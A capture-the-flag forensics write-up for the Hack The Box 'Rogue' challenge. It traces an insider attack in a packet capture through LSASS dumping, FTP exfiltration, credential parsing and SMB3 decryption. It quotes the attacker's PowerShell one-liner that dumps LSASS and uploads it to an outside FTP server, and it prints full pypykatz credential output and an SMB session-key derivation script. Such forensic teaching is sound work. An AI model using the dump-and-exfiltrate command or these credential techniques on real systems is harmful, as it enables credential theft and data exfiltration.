Rogue

July 18, 2022 · Hack The Box / Business CTF 2022 forensicspcapsmbntlmlsass-dumpmimikatz

SecCorp has reached us about a recent cyber security incident. They are confident that a malicious entity has managed to access a shared folder that stores confidential files. Our threat intel informed us about an active dark web forum where disgruntled employees offer to give access to their employer’s internal network for a financial reward. In this forum, one of SecCorp’s employees offers to provide access to a low-privileged domain-joined user for 10K in cryptocurrency. Your task is to find out how they managed to gain access to the folder and what corporate secrets did they steal.

Files

Download: forensics_rogue.zip

Recon: Extracting the FTP Transfer

The challenge provides a packet capture. The attacker exfiltrated data over FTP, so the first step is to recover the transferred file from the FTP-data stream. In Wireshark, follow the FTP-data stream and save it as raw to tmp.zip.

Follow FTP-data
Save as Raw to tmp.zip

The recovered archive is truncated/corrupt, so repair it with zip -FF to produce a usable archive.

zip -FF tmp.zip --out test.zip

Inside the recovered archive is a .pmd file. Identifying it confirms it is an LSASS minidump (a memory dump of the lsass.exe process), which is the classic source of cached credentials.

file 3858793632.pmd

3858793632.pmd: r, 13 streams, Mon Jul  4 11:39:18 2022, 0x6 type

Enumeration: Tracking the Attacker

Filtering the capture on the suspicious external host reveals the attacker’s infrastructure.

ip.addr == 77.74.198.52

The FTP control channel exposes the attacker’s credentials used to upload the dump, along with the STOR command that wrote the archive to the remote server.

ftpuser : SZC0aBomFG

STOR 3858793632.zip

Exploitation: Recovering the LSASS Dump Command

Examining the attacker’s actions on the compromised workstation WS02, we can see the operator was logged in as rpaker and was a member of the local administrators group.

whoami

ws02\rpaker

hostname

ws02

net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
CORP\athomson
CORP\Domain Admins
rpaker
The command completed successfully.

The single-line PowerShell command below is how the attacker created the LSASS dump. It uses the built-in comsvcs.dll MiniDump export against the lsass process id, compresses the result, and uploads it to the attacker’s FTP server before cleaning up the artifacts.

Remove-Item -Path C:\windows\temp\3858793632.pmd -Force -ErrorAction Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\windows\temp\3858793632.pmd full | out-host; Compress-Archive  C:\windows\temp\3858793632.pmd  C:\windows\temp\3858793632.zip;Remove-Item -Path C:\windows\temp\3858793632.pmd -Force -ErrorAction Ignore;$cl = New-Object System.Net.WebClient;$f = "C:\windows\temp\3858793632.zip";$s = "ftp://ftpuser:[email protected]/3858793632.zip";$u = New-Object System.Uri($s);$cl.UploadFile($u, $f);Remove-Item -Path C:\windows\temp\3858793632.zip -Force -ErrorAction Ignore;

exit

To focus on the non-FTP traffic to the attacker host (such as the interactive session), filter out the FTP-data stream.

not ftp-data and ip.addr==77.74.198.52

Credential Extraction from the Dump

With the LSASS dump recovered, we can parse it for credentials. The relevant hashes pulled from the dump include rpaker (which cracks to password123) and the domain user athomson.

Hashes from Mimikatz:
rpaker : a9fdfa038c4b75ebc76dc855dd74f0da : password123

Username: athomson
Domain: CORP
LM: NA
NT: 88d84bad705f61fcdea0d771301c3a7d

Locating the SMB Activity

The stolen secrets were accessed over SMB. Filtering on SMB traffic shows athomson connecting from WS02 to the confidential share on the domain controller.

tcp.port == 445

Tree Id: 0x00000001  \\CORP-DC\IPC$
Session Id: 0x0000a00000000015 Acct:athomson Domain:CORP Host:WS02
Signature: 9e847e03cd5dafa7a81fe522ba7e736d
File Name: \CORP-DC\ConfidentialShare
17837    15226.920946    fe80::7590:b535:f33:bac9    49732    fe80::6d97:d06c:1bac:cf89    445    SMB2    204    Tree Connect Request Tree: \\CORP-DC\ConfidentialShare

Decrypting SMB

The SMB3 traffic is encrypted, but with the user’s NT hash plus values pulled from the NTLM authentication in the PCAP we can derive the session’s Random Session Key and decrypt it. This technique is documented in the following Maveris Labs writeup.

https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2

Wireshark requires the Session ID in byte-swapped (little-endian) form, so 0x0000a00000000015 becomes the value below.

0x0000a00000000015 => 1500000000a00000

Running the key calculator against the first authentication’s NTProofStr and encrypted session key produces a candidate Random Session Key.

python3 calc_hash.py --verbose --user athomson --ntlmpassword 88d84bad705f61fcdea0d771301c3a7d --domain CORP --ntproofstr d09104b2ad7feed3c5e9c30dcb444553 --sessionkey 28be9df22813cdfa83d25bf08b63049f  --sessionid 0000a00000000015

USER+DOMAIN: ATHOMSONCORP
PASS HASH: 88d84bad705f61fcdea0d771301c3a7d
RESP NT:   6bc1c5e3a6a4aba16139faad9a3cce6e
NT PROOF:  d09104b2ad7feed3c5e9c30dcb444553
KeyExKey:  04cd1a170b245117e25bf8c8981647ea
Session ID: 1500000000a00000
Random SK: 7920a1abcdaba8db7c6ff88fa5dccb81

Repeating against the second authentication exchange yields a second Random Session Key. SMB sessions can re-key, so we calculate each one to find the key that successfully decrypts the relevant traffic.

python3 calc_hash.py --verbose --user athomson --ntlmpassword 88d84bad705f61fcdea0d771301c3a7d --domain CORP --ntproofstr d047ccdffaeafb22f222e15e719a34d4 --sessionkey 032c9ca4f6908be613b240062936e2d2 --sessionid 0000a00000000015

USER+DOMAIN: ATHOMSONCORP
PASS HASH: 88d84bad705f61fcdea0d771301c3a7d
RESP NT:   6bc1c5e3a6a4aba16139faad9a3cce6e
NT PROOF:  d047ccdffaeafb22f222e15e719a34d4
KeyExKey:  4765b4b66d2d5de5b323708a33d33318
Session ID: 1500000000a00000
Random SK: 9ae0af5c19ba0de2ddbe70881d4263ac

Feeding the second session’s Session ID and Random Session Key into Wireshark’s SMB2 decryption keys lets us read the previously encrypted file transfer.

1500000000a00000 9ae0af5c19ba0de2ddbe70881d4263ac

Flag

Decrypting the SMB stream reveals the confidential file the attacker stole, which contains the flag.

HTB{n0th1ng_c4n_st4y_un3ncrypt3d_f0r3v3r}

Appendix: pypykatz Output

For completeness, here is the full pypykatz parse of the LSASS minidump. This is where the NT hashes and DPAPI master keys above were sourced from, including the machine account password for WS02$.

pypykatz lsa minidump 3858793632.pmd

FILE: ======== 3858793632.pmd =======
== LogonSession ==
authentication_id 6361112 (611018)
session_id 3
username rpaker
domainname WS02
logon_server WS02
logon_time 2022-07-04T11:37:24.798200+00:00
sid S-1-5-21-900241500-1566882183-2274020907-1001
luid 6361112
    == MSV ==
        Username: rpaker
        Domain: WS02
        LM: NA
        NT: a9fdfa038c4b75ebc76dc855dd74f0da
        SHA1: 9400ae28448e1364174dde269b2cce1bca9d7ee8
        DPAPI: NA
    == WDIGEST [611018]==
        username rpaker
        domainname WS02
        password None
        password (hex)
    == Kerberos ==
        Username: rpaker
        Domain: WS02
    == WDIGEST [611018]==
        username rpaker
        domainname WS02
        password None
        password (hex)

== LogonSession ==
authentication_id 5565945 (54edf9)
session_id 3
username rpaker
domainname WS02
logon_server WS02
logon_time 2022-07-04T11:35:36.136161+00:00
sid S-1-5-21-900241500-1566882183-2274020907-1001
luid 5565945
    == MSV ==
        Username: rpaker
        Domain: WS02
        LM: NA
        NT: a9fdfa038c4b75ebc76dc855dd74f0da
        SHA1: 9400ae28448e1364174dde269b2cce1bca9d7ee8
        DPAPI: NA
    == WDIGEST [54edf9]==
        username rpaker
        domainname WS02
        password None
        password (hex)
    == Kerberos ==
        Username: rpaker
        Domain: WS02
    == WDIGEST [54edf9]==
        username rpaker
        domainname WS02
        password None
        password (hex)

== LogonSession ==
authentication_id 5292898 (50c362)
session_id 3
username rpaker
domainname WS02
logon_server WS02
logon_time 2022-07-04T11:35:07.999271+00:00
sid S-1-5-21-900241500-1566882183-2274020907-1001
luid 5292898
    == MSV ==
        Username: rpaker
        Domain: WS02
        LM: NA
        NT: a9fdfa038c4b75ebc76dc855dd74f0da
        SHA1: 9400ae28448e1364174dde269b2cce1bca9d7ee8
        DPAPI: NA
    == WDIGEST [50c362]==
        username rpaker
        domainname WS02
        password None
        password (hex)
    == Kerberos ==
        Username: rpaker
        Domain: WS02
    == WDIGEST [50c362]==
        username rpaker
        domainname WS02
        password None
        password (hex)

== LogonSession ==
authentication_id 4755638 (4890b6)
session_id 3
username rpaker
domainname CORP
logon_server CORP-DC
logon_time 2022-07-04T11:34:23.539708+00:00
sid S-1-5-21-288640240-4143160774-4193478011-1111
luid 4755638
    == MSV ==
        Username: rpaker
        Domain: CORP
        LM: NA
        NT: a9fdfa038c4b75ebc76dc855dd74f0da
        SHA1: 9400ae28448e1364174dde269b2cce1bca9d7ee8
        DPAPI: c08630129ee6d9f8cd44f7c5176e94fb
    == WDIGEST [4890b6]==
        username rpaker
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: rpaker
        Domain: CORP.LOCAL
    == WDIGEST [4890b6]==
        username rpaker
        domainname CORP
        password None
        password (hex)
    == DPAPI [4890b6]==
        luid 4755638
        key_guid ee05f40d-d31f-413c-b08c-98eb4da47687
        masterkey e8d3cfbf9bc33a9fae8ec44bf0a1f2403d7d61e46ebb76f47765e99e2011997d0cca27c03cf4f3e57499be7bc9ed441ff3b4d40bf74863d06681fd17b59288cc
        sha1_masterkey dd7ec586b58db250a64e2e15dec77d773690b916

== LogonSession ==
authentication_id 4566306 (45ad22)
session_id 3
username DWM-3
domainname Window Manager
logon_server
logon_time 2022-07-04T11:34:12.023866+00:00
sid S-1-5-90-0-3
luid 4566306
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [45ad22]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [45ad22]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 4566102 (45ac56)
session_id 3
username DWM-3
domainname Window Manager
logon_server
logon_time 2022-07-04T11:34:12.008288+00:00
sid S-1-5-90-0-3
luid 4566102
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [45ac56]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [45ac56]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 4565217 (45a8e1)
session_id 3
username UMFD-3
domainname Font Driver Host
logon_server
logon_time 2022-07-04T11:34:11.992337+00:00
sid S-1-5-96-0-3
luid 4565217
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [45a8e1]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [45a8e1]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 3857660 (3adcfc)
session_id 2
username athomson
domainname CORP
logon_server CORP-DC
logon_time 2022-07-04T11:32:10.805162+00:00
sid S-1-5-21-288640240-4143160774-4193478011-1110
luid 3857660
    == MSV ==
        Username: athomson
        Domain: CORP
        LM: NA
        NT: 88d84bad705f61fcdea0d771301c3a7d
        SHA1: 60570041018a9e38fbee99a3e1f7bc18712018ba
        DPAPI: 022e4b6c4a40b4343b8371abbfa9a1a0
    == WDIGEST [3adcfc]==
        username athomson
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: athomson
        Domain: CORP.LOCAL
    == WDIGEST [3adcfc]==
        username athomson
        domainname CORP
        password None
        password (hex)
    == DPAPI [3adcfc]==
        luid 3857660
        key_guid a61d49d1-5c3a-4849-8880-738ce6f8027b
        masterkey 00509f19c213842158ff61ac40bad16e395f7eaddc66d76e2c0e82d9803ee52bef5cd500e72ce5c261700b79832e3423ba117d88f8ae3eb71eb9c6216a3c223f
        sha1_masterkey 16f29541e8e3d010c0249048296c6b702a9bdc4d

== LogonSession ==
authentication_id 3857613 (3adccd)
session_id 2
username athomson
domainname CORP
logon_server CORP-DC
logon_time 2022-07-04T11:32:10.805162+00:00
sid S-1-5-21-288640240-4143160774-4193478011-1110
luid 3857613
    == MSV ==
        Username: athomson
        Domain: CORP
        LM: NA
        NT: 88d84bad705f61fcdea0d771301c3a7d
        SHA1: 60570041018a9e38fbee99a3e1f7bc18712018ba
        DPAPI: 022e4b6c4a40b4343b8371abbfa9a1a0
    == WDIGEST [3adccd]==
        username athomson
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: athomson
        Domain: CORP.LOCAL
    == WDIGEST [3adccd]==
        username athomson
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 3781111 (39b1f7)
session_id 2
username DWM-2
domainname Window Manager
logon_server
logon_time 2022-07-04T11:32:09.084191+00:00
sid S-1-5-90-0-2
luid 3781111
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [39b1f7]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [39b1f7]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 3779650 (39ac42)
session_id 2
username DWM-2
domainname Window Manager
logon_server
logon_time 2022-07-04T11:32:09.052646+00:00
sid S-1-5-90-0-2
luid 3779650
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [39ac42]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [39ac42]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 3775618 (399c82)
session_id 2
username UMFD-2
domainname Font Driver Host
logon_server
logon_time 2022-07-04T11:32:08.958697+00:00
sid S-1-5-96-0-2
luid 3775618
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [399c82]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [399c82]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 382270 (5d53e)
session_id 1
username rpaker
domainname WS02
logon_server WS02
logon_time 2022-07-04T11:19:26.800257+00:00
sid S-1-5-21-900241500-1566882183-2274020907-1001
luid 382270
    == MSV ==
        Username: rpaker
        Domain: WS02
        LM: NA
        NT: a9fdfa038c4b75ebc76dc855dd74f0da
        SHA1: 9400ae28448e1364174dde269b2cce1bca9d7ee8
        DPAPI: NA
    == WDIGEST [5d53e]==
        username rpaker
        domainname WS02
        password None
        password (hex)
    == Kerberos ==
        Username: rpaker
        Domain: WS02
    == WDIGEST [5d53e]==
        username rpaker
        domainname WS02
        password None
        password (hex)

== LogonSession ==
authentication_id 382230 (5d516)
session_id 1
username rpaker
domainname WS02
logon_server WS02
logon_time 2022-07-04T11:19:26.800257+00:00
sid S-1-5-21-900241500-1566882183-2274020907-1001
luid 382230
    == MSV ==
        Username: rpaker
        Domain: WS02
        LM: NA
        NT: a9fdfa038c4b75ebc76dc855dd74f0da
        SHA1: 9400ae28448e1364174dde269b2cce1bca9d7ee8
        DPAPI: NA
    == WDIGEST [5d516]==
        username rpaker
        domainname WS02
        password None
        password (hex)
    == Kerberos ==
        Username: rpaker
        Domain: WS02
    == WDIGEST [5d516]==
        username rpaker
        domainname WS02
        password None
        password (hex)

== LogonSession ==
authentication_id 997 (3e5)
session_id 0
username LOCAL SERVICE
domainname NT AUTHORITY
logon_server
logon_time 2022-07-04T11:19:05.901121+00:00
sid S-1-5-19
luid 997
    == Kerberos ==
        Username:
        Domain:

== LogonSession ==
authentication_id 46053 (b3e5)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2022-07-04T11:19:05.745326+00:00
sid S-1-5-90-0-1
luid 46053
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [b3e5]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [b3e5]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 45493 (b1b5)
session_id 1
username DWM-1
domainname Window Manager`
logon_server
logon_time 2022-07-04T11:19:05.729308+00:00
sid S-1-5-90-0-1
luid 45493
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [b1b5]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [b1b5]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 996 (3e4)
session_id 0
username WS02$
domainname CORP
logon_server
logon_time 2022-07-04T11:19:05.635833+00:00
sid S-1-5-20
luid 996
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [3e4]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: ws02$
        Domain: CORP.LOCAL
    == WDIGEST [3e4]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 25518 (63ae)
session_id 0
username UMFD-0
domainname Font Driver Host
logon_server
logon_time 2022-07-04T11:19:05.479391+00:00
sid S-1-5-96-0-0
luid 25518
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [63ae]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [63ae]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 25464 (6378)
session_id 1
username UMFD-1
domainname Font Driver Host
logon_server
logon_time 2022-07-04T11:19:05.479391+00:00
sid S-1-5-96-0-1
luid 25464
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA
    == WDIGEST [6378]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: WS02$
        Domain: CORP.local
        Password: +8=YyKd=]>'c+?3U`!E_a;lwr'Lk:r>>HQM_<9/Q;3bpR_65lw>TBB1sIgo=+Pp$E"<?myROL!;dA!;x`_ix\N!%QE@po;ayP'eB9Cn['=g/Iah.m"o<98VJ
        password (hex)2b0038003d00590079004b0064003d005d003e00270063002b003f00330055006000210045005f0061003b006c007700720027004c006b003a0072003e003e00480051004d005f003c0039002f0051003b0033006200700052005f00360035006c0077003e0054004200420031007300490067006f003d002b00500070002400450022003c003f006d00790052004f004c0021003b006400410021003b00780060005f00690078005c004e002100250051004500400070006f003b00610079005000270065004200390043006e005b0027003d0067002f004900610068002e006d0022006f003c003900380056004a00
    == WDIGEST [6378]==
        username WS02$
        domainname CORP
        password None
        password (hex)

== LogonSession ==
authentication_id 24341 (5f15)
session_id 0
username
domainname
logon_server
logon_time 2022-07-04T11:19:05.401545+00:00
sid None
luid 24341
    == MSV ==
        Username: WS02$
        Domain: CORP
        LM: NA
        NT: d22d6b1d22e752ede3fcc8a4f19f0996
        SHA1: 4c5e4099919d65ecfe221bab4f385df3d3d53fa8
        DPAPI: NA

== LogonSession ==
authentication_id 999 (3e7)
session_id 0
username WS02$
domainname CORP
logon_server
logon_time 2022-07-04T11:19:05.386111+00:00
sid S-1-5-18
luid 999
    == WDIGEST [3e7]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == Kerberos ==
        Username: ws02$
        Domain: CORP.LOCAL
    == WDIGEST [3e7]==
        username WS02$
        domainname CORP
        password None
        password (hex)
    == DPAPI [3e7]==
        luid 999
        key_guid 094fa06d-8eae-4f0f-864a-009e98d06f6c
        masterkey fa1368d332e39fe5eb07d3a1600453e9f19170923369b104bc41cdef92dc469ff5bc39936d916f426273baa1ad9d86233d81fbb0864e343ca1f47811871c0e32
        sha1_masterkey 99c3409540732948afaedd1b6d7e7528c97978e9

Appendix: calc_smb_key.py

This is the helper script used above to derive the Random Session Key. Given the user’s NTLM hash (or plaintext password) plus the NTProofStr, encrypted session key, and session id pulled from the PCAP, it computes the KeyExchangeKey and RC4-decrypts the session key so Wireshark can decrypt the SMB3 traffic.

#!/usr/bin/env python3
"""
This function calculates the random secret key for SMB decryption.
This uses the NTLM hash or plaintext password of the user given a pre-existing packet capture.
"""

# Imports
from Cryptodome.Cipher import ARC4
from Cryptodome.Hash import MD4
import hashlib
import hmac
import argparse
from binascii import hexlify, unhexlify

def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
    cipher = ARC4.new(keyExchangeKey)
    cipher_encrypt = cipher.encrypt
    sessionKey = cipher_encrypt(exportedSessionKey)
    return sessionKey

def swap_bytes(x):
    x = bytearray(unhexlify(x));
    x.reverse();
    return hexlify(x)

# Arguments
parser = argparse.ArgumentParser(
    description="Calculate the Random Session Key based on data from a PCAP (maybe).")
parser.add_argument("-u", "--user", required=True, help="User name")
parser.add_argument("-d", "--domain", required=True, help="Domain name")
parser.add_argument("-p", "--password", required=False,
                    help="Password of User")
parser.add_argument("-ph", "--ntlmpassword", required=False,
                    help="NTLM Password Hash of User")
parser.add_argument("-n", "--ntproofstr", required=True,
                    help="NTProofStr (hex). This can be found in PCAP via ntlmssp.ntlmv2_response.ntproofstr")
parser.add_argument("-k", "--sessionkey", required=True,
                    help="Encrypted Session Key (hex). This can be found in PCAP.")
parser.add_argument("-i", "--sessionid", required=True,
                    help="Session ID (hex). This can be found in PCAP.")
parser.add_argument("-v", "--verbose", action="store_true",
                    help="increase output verbosity")
args = parser.parse_args()

# Upper CaseUsername and Domain
Username = str(args.user).upper().encode('utf-16le')
Domain = str(args.domain).upper().encode('utf-16le')

# Create 'NTLM' Hash of password
if args.ntlmpassword:
    NTLMPassword = unhexlify(args.ntlmpassword)
elif args.password:
    Password = args.password.encode('utf-16le')
    hash1 = MD4.new(Password)
    NTLMPassword = hash1.hexdigest()
    NTLMPassword = unhexlify(NTLMPassword)
else:
    exit("Requires password or NTLM hash")

# Calculate the ResponseNTKey
h = hmac.new(NTLMPassword, digestmod=hashlib.md5)
h.update(Username+Domain)
ResponseNTKey = h.digest()

# Use NTProofSTR and ResponseNTKey to calculate Key Exchange Key
NTProofStr = unhexlify(args.ntproofstr)
h = hmac.new(ResponseNTKey, digestmod=hashlib.md5)
h.update(NTProofStr)
KeyExchKey = h.digest()

# Calculate the Random Session Key by decrypting Encrypted Session Key with Key Exchange Key via RC4
RsessKey = generateEncryptedSessionKey(
    KeyExchKey, unhexlify(args.sessionkey))

if args.verbose:
